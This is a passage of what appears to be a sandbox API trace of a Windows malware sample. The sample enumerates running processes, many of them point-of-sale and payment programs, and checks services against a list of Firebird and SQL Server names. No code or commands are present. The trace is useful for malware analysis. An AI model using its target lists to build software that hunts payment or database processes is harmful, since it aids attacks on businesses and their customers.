lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0072.497] lstrlenW (lpString="aldelo.exe") returned 10 [0072.498] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0072.499] lstrlenW (lpString="ccv_server.exe") returned 14 [0072.499] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0072.501] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0072.501] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0072.502] lstrlenW (lpString="creditservice.exe") returned 17 [0072.503] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0072.504] lstrlenW (lpString="edcsvr.exe") returned 10 [0072.504] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0072.506] lstrlenW (lpString="fpos.exe") returned 8 [0072.506] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0072.508] lstrlenW (lpString="isspos.exe") returned 10 [0072.873] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0072.874] lstrlenW (lpString="mxslipstream.exe") returned 16 [0072.875] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0072.876] lstrlenW (lpString="omnipos.exe") returned 11 [0072.876] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0072.877] lstrlenW (lpString="spcwin.exe") returned 10 [0072.877] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0072.879] lstrlenW (lpString="spgagentservice.exe") returned 19 [0072.879] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0072.880] lstrlenW (lpString="utg2.exe") returned 8 [0072.936] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0072.960] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0072.960] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0072.961] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0072.961] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0072.963] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0072.963] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0072.964] lstrlenW (lpString="achieve.exe") returned 11 [0072.964] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0072.965] lstrlenW (lpString="harvard.exe") returned 11 [0072.965] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.966] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0072.966] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.967] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0072.967] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0072.969] lstrlenW (lpString="taskhost.exe") returned 12 [0072.969] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0072.970] lstrlenW (lpString="dllhost.exe") returned 11 [0072.970] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0072.972] lstrlenW (lpString="mdskkv.exe") returned 10 [0072.972] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0072.973] lstrlenW (lpString="cmd.exe") returned 7 [0072.973] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0072.974] lstrlenW (lpString="conhost.exe") returned 11 [0072.974] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0072.975] lstrlenW (lpString="mode.com") returned 8 [0072.975] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0072.977] CloseHandle (hObject=0x1c8) returned 1 [0072.978] Sleep (dwMilliseconds=0x1f4) [0073.928] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624d38 [0073.931] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0073.932] GetLastError () returned 0xea [0073.932] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x3ee1068 [0073.932] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ee1068, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ee1068, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0073.935] CloseServiceHandle (hSCObject=0x624d38) returned 1 [0073.935] lstrlenW (lpString="Appinfo") returned 7 [0073.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0073.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0073.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0073.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0073.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0073.935] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0073.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0073.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0073.936] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0073.936] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0073.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0073.936] lstrlenW (lpString="AudioSrv") returned 8 [0073.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0073.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0073.936] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0073.936] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0073.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0073.936] lstrlenW (lpString="BFE") returned 3 [0073.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0073.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0073.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0073.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0073.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0073.936] lstrlenW (lpString="CryptSvc") returned 8 [0073.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0073.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0073.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0073.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0073.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0073.937] lstrlenW (lpString="CscService") returned 10 [0073.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0073.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0073.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0073.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0073.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0073.937] lstrlenW (lpString="DcomLaunch") returned 10 [0073.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0073.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0073.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0073.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0073.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0073.937] lstrlenW (lpString="Dhcp") returned 4 [0073.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0073.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0073.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0073.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0073.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0073.938] lstrlenW (lpString="Dnscache") returned 8 [0073.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0073.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0073.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0073.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0073.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0073.938] lstrlenW (lpString="DPS") returned 3 [0073.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0073.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0073.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0073.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0073.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0073.938] lstrlenW (lpString="eventlog") returned 8 [0073.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0073.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0073.939] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0073.939] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0073.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0073.939] lstrlenW (lpString="EventSystem") returned 11 [0073.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0073.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0073.939] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0073.939] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0073.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0073.939] lstrlenW (lpString="gpsvc") returned 5 [0073.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0073.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0073.939] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0073.939] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0073.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0073.939] lstrlenW (lpString="iphlpsvc") returned 8 [0073.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0073.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0073.940] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0073.940] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0073.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0073.940] lstrlenW (lpString="LanmanServer") returned 12 [0073.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0073.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0073.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0073.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0073.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0073.940] lstrlenW (lpString="LanmanWorkstation") returned 17 [0073.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0073.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0073.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0073.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0073.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0073.945] lstrlenW (lpString="lmhosts") returned 7 [0073.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0073.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0073.945] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0073.945] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0073.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0073.946] lstrlenW (lpString="MMCSS") returned 5 [0073.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0073.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0073.948] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0073.948] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0073.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0073.948] lstrlenW (lpString="MpsSvc") returned 6 [0073.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0073.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0073.950] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0073.955] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0073.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0073.956] lstrlenW (lpString="Netman") returned 6 [0073.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0073.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0073.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0073.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0073.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0073.960] lstrlenW (lpString="netprofm") returned 8 [0073.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0073.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0073.962] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0073.963] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0073.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0073.963] lstrlenW (lpString="NlaSvc") returned 6 [0073.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0073.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0073.963] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0073.963] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0073.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0073.963] lstrlenW (lpString="nsi") returned 3 [0073.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0073.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0073.963] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0073.963] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0073.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0073.963] lstrlenW (lpString="PcaSvc") returned 6 [0073.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0073.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0073.963] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0073.964] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0073.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0073.964] lstrlenW (lpString="PlugPlay") returned 8 [0073.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0073.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0073.964] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0073.964] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0073.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0073.964] lstrlenW (lpString="Power") returned 5 [0073.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0073.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0073.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0073.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0073.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0073.964] lstrlenW (lpString="ProfSvc") returned 7 [0073.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0073.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0073.964] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0073.965] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0073.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0073.965] lstrlenW (lpString="RpcEptMapper") returned 12 [0073.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0073.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0073.965] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0073.965] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0073.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0073.965] lstrlenW (lpString="RpcSs") returned 5 [0073.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0073.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0073.965] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0073.965] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0073.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0073.965] lstrlenW (lpString="SamSs") returned 5 [0073.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0073.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0073.965] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0073.965] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0073.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0073.966] lstrlenW (lpString="Schedule") returned 8 [0073.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0073.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0073.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0073.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0073.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0073.966] lstrlenW (lpString="SENS") returned 4 [0073.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0073.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0073.966] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0073.966] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0073.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0073.966] lstrlenW (lpString="ShellHWDetection") returned 16 [0073.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0073.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0073.966] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0073.967] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0073.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0073.967] lstrlenW (lpString="Spooler") returned 7 [0073.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0073.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0073.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") 